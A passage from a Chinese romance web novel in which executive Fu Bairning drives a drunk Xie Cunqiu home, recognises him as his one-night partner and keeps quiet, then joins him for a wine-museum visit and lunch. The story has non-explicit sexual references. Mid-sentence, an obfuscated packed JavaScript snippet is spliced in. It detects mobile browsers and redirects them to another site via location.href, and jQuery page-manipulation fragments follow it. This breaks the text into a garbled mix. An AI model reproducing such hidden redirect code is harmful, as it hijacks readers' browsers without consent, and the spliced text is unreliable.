酒店侧门外一片寂静,和里面的热闹喧嚣比起来好像两个天地。
何旭难得有些紧张地扶了下眼镜,他很清楚谢存秋对傅柏宁的观感变化很大,也直言过很欣赏现在的对方。
另外,是相当相当在意。
想到这儿,他定了定神,稳着声音解释道:“之前从来没有这样过,谢总很少喝多,真的喝醉了也话很少,今天这样是第一次。”
听到回答,傅柏宁的心情微妙地上扬了一个阶梯。
他注视着谢存秋,话却是问何旭的,“谢总这么说,何助的意思呢?我倒是有空,基本上忙完了。”
何旭思量了会儿,按理来说不该麻烦对方,但是……喝醉酒说不定不是坏事?
他从善如流道:“那就麻烦傅总了,地址我发给你。”
“好。”
傅柏宁丝毫不排斥当一回司机,尤其是在谢存秋主动坐到副驾驶之后。
上车后他扫了眼何旭发来的地址,是市中心寸土寸金的高端公寓楼,一层一户,私密性很好,比好些独栋别墅的价格都高。
他放缓语速好让身边人能听清自己在说什么,问道:“谢总偏爱这样的公寓?”
谢存秋放松地靠在座位里,轻声哼了哼,嗓音里透着些倦懒与惬意,“喜欢……这里够高,能看到大半个城市,有世界就在脚下的感觉……你不喜欢吗?”
世界就在脚下?
傅柏宁听着,眼角蔓延开了一丝笑意,尽管这话听起来有些张狂,但从谢存秋口中说出来就让人信服,而且,这样的感觉谁能不喜欢?
哪怕高处不胜寒。
而这本就是身居高处的代价。
不过若是有人陪伴,就弥补了唯一的这点不足,堪称完美,奈何他是个单身主义者,注定和这样的完美无缘了。
他收回思绪,附和道:“高处确实让人喜欢,能者居之。”
谢存秋点点头,沉默了会儿,然后垂眼盯着自己的手,换了话题,掰着手指数道:“你以前是真的恋爱脑,非要倒贴的话你也找个好的,贾书宁要感情给不了你感情,要演技没演技,什么眼光啊你,还有……”
傅柏宁仔细听着,身边人絮絮叨叨的嗓音越来越低,说到后面有些听不清,只听到什么下手太狠之类的,总而言之全是吐槽不会错。
可可爱爱。
谢存秋说了一路,他就听了一路,哪怕后面大部分都没听清楚也很有兴味,这样低低哑哑的嗓音听着很舒服,像一根羽毛撩扫在心尖尖上。
痒痒的,酥酥麻麻的。
在车子停到地下停车场时,他恰好捕捉到了谢存秋问完他“是不是到了”这句话的尾音,心头霎时好像过电一样。
这声音和腔调很耳熟,感觉也熟悉。
他看向身边人的目光微微沉,半晌,下了车给对方打开车门,道:“是,已经到地方了。”
谢存秋抬起头,皱着眉,盯着傅柏宁看了足足有一分钟,这才慢慢悠悠地下了车,但喝醉了酒的人脚步虚浮,没站稳,脚下一软就要往地上栽。
傅柏宁就在旁边,下意识拉着谢存秋的手臂扶了把,眸光闪烁不定,叮嘱道:“小心些。”
谢存秋摇了摇头,压在嗓子里的笑声有些模糊,顺势又靠近了半步,道:“抱一下,抱一下我就回去乖乖睡觉了。”
嗯?
这要求……认真的?傅柏宁放轻了呼吸,谢存秋这会儿说话的嗓音低低哑哑慢吞吞,好像在撒娇一样。
他叹了口气,抬手轻轻捏住谢存秋的下巴尖,“你知道我是谁吗,就跟我要抱抱?”
谢存秋晃了晃脑袋,皱着的眉一点没松开,没挣开捏着自己下巴的手,索性放弃了,颇有点愤恨道:“当然知道,姓傅的混蛋一个……”
说完他又补充道:“爸妈在的时候,晚上睡觉前总会给我一个拥抱,给我一个吧好不好?”
傅柏宁听见“混蛋”俩字的时候被对方的语气逗笑了,听到后面,笑意不由得收了起来。
他抬起另一边的手臂轻按在谢存秋后颈处,对方一瞬间的有些战栗,轻哼了声,旋即咬住了嘴唇,没再发出一点声响。
他眉眼微垂,眼里沉沉的尽是说不清道不明的情绪。
他的手贴着谢存秋的背一路往下,划过弧度流畅的脊柱,最后落在了对方腰间,把人搂紧在怀里,臂弯里熟悉的触感让他再鲜明不过地意识到了一件事。
不告而别的人找到了。
这个触感,这一弯清俊的月牙,这个拥抱,都让他不会错认。
覆着一层冰霜的、充满蛊惑意味的野玫瑰,确乎是眼前人,那一晚,从反抗到热情接纳他的就是谢存秋,够冷够狠,也够热情,宛若冰原下灼灼燃烧的火焰,将他一并点燃。
共坠沉沦的爱河。
哪里想得到呢,床下如此高冷的人,在床上却是那样的热情生动,让人欲罢不能,让他想要完全占有这朵难以驯服的玫瑰。
不过他确实没想到,谢存秋那晚看上去醉得那么厉害,实际却没什么酒量。
他收紧了怀抱,心思略沉,初次见面时对方看着他的咬牙切齿,还有刚才在车上他听到的只言片语,就都对得上、说得通了。
对方当时的反应很生涩,应该是第一次,想来也是,拒人于千里之外的高岭之花,大概都没人敢亲近。
他无声地笑了声,末尾又带上了叹息。
多诱人的一朵玫瑰呀。
但是。
他最后用力抱了下怀里的人,接着松开手臂,注视着眸光灿然的谢存秋,对方的眼睛这会儿像是聚集了一个秋日的落叶,飒飒,也灿灿。
这样专注看着他的时候,让人很难拒绝。
他后退了小半步,语调缓和道:“好了,上去吧,进门了给我发消息说一声,晚安。”
谢存秋被酒精泡糊涂的脑子慢了一拍才反应过来,乖觉地道了晚安。
目送着谢存秋走进电梯,电梯门关上后他侧过身靠在车上,眼神里几番思量。
他不打算戳穿这件事,当时谢存秋的反应,以及对方知道他没认出来却依旧没挑明的态度,就已经足够明显了。
谢总跟他一样以事业为重。
把那晚当做一场旖旎的梦就好,是个美丽的意外,哪怕两人在床上很合拍,在床下他也很欣赏对方,但他不想因为找到了一个合适的床伴而失去一位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496270|170209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
优秀的合作伙伴,或者说是朋友。
那一晚翻篇了。
等收到谢存秋发来的消息,他才叫了车离开。
只是尽管他做好了打算,做好了心理建设,这晚上做的梦却有些……让人意外,没关系,没关系的,应该是刚知道那晚的人是谁有点、有点应激?
缓两天就好了。
中午的时候,他收到了谢存秋发来的消息,道了歉、道了谢,然后问他昨晚上对方有没有说奇怪的话、做奇怪的事情。
他单手撑着脸颊,盯着手机屏幕看了好一会儿,想到昨晚上对方喝醉酒之后做的事情,他的嘴角悄无声息地翘了起来,这是在试探。
他淡定地回了没有。
两分钟后,谢存秋又问他周末有没有空,他回了有空,那边很快发来了下一条信息,邀请他去叔叔的私人葡萄酒博物馆参观,他用电脑查了下,这家藏馆知名度很高。
其实还是试探。
用他感兴趣的葡萄酒相关的事情来邀约,如果他答应,那应该没什么问题,证明他说的“没有”是真的。如果拒绝,那就代表着八成有猫腻。
他不排斥跟对方相处,反倒还挺高兴,所以为什么要拒绝呢?
如两人心意的事情是水到渠成的。
他欣然答允。
到了周末这天,谢存秋说他上次当了司机,这次换对方来,要来接他,他思量了会儿,答应下来,不就是把新住址撂出去了嘛,小问题。
这家私人博物馆今天只接待了他们俩。
鉴于谢存秋本人对叔叔的这些藏酒和葡萄酒相关的器具如数家珍,连导游都不需要,管理员只打了声招呼就去忙别的了。
两人一边参观一边品尝了各种风味的葡萄酒,他留意着同行的人,大抵是有了前车之鉴,对方今天没喝多少。
从博物馆出来,车子交给了谢存秋的司机来开,午餐则是他安排的一家私厨。
两人从上午的酒一直聊到双方的合作,还有最近的一些其他工作,他的兴致相当好,尤其是在注意到谢存秋早早就把甜品吃完的时候。
荔枝玫瑰小蛋糕,他特意点的。
而他这边则是一份海盐芝士蛋糕,当然,他对甜品没有特别的喜好,非要吃也能吃两口,但大多数情况下并不感兴趣。
这顿饭吃到末尾,他的蛋糕还没动一下,不过坐在对面的人已经悄无声息地扫过来好几眼了。
他放下筷子,不疾不徐地擦了嘴,一边手肘撑在桌上,歪了歪头,把自己那份甜品往对面稍微推了一点,轻笑道:“啾啾,这个要不要?”
谢存秋听见了。
扎扎实实地听见了!!
但一时之间没敢相信自己的耳朵。
傅柏宁的语气很柔和,尤其是那个叠字的称呼,从唇齿间吐露出来的时候好像带着无尽的亲昵,让他的心尖上倏地蹿起了一簇小火苗。
心跳都有些快了。
他缓了缓神,看傅柏宁还是笑眯眯的,似乎没觉得说了什么不得了的要命话,他微皱起眉,确定道:“你刚才……叫我什么?”
傅柏宁叫得出口,就不会吝于承认。
而且还敢再叫。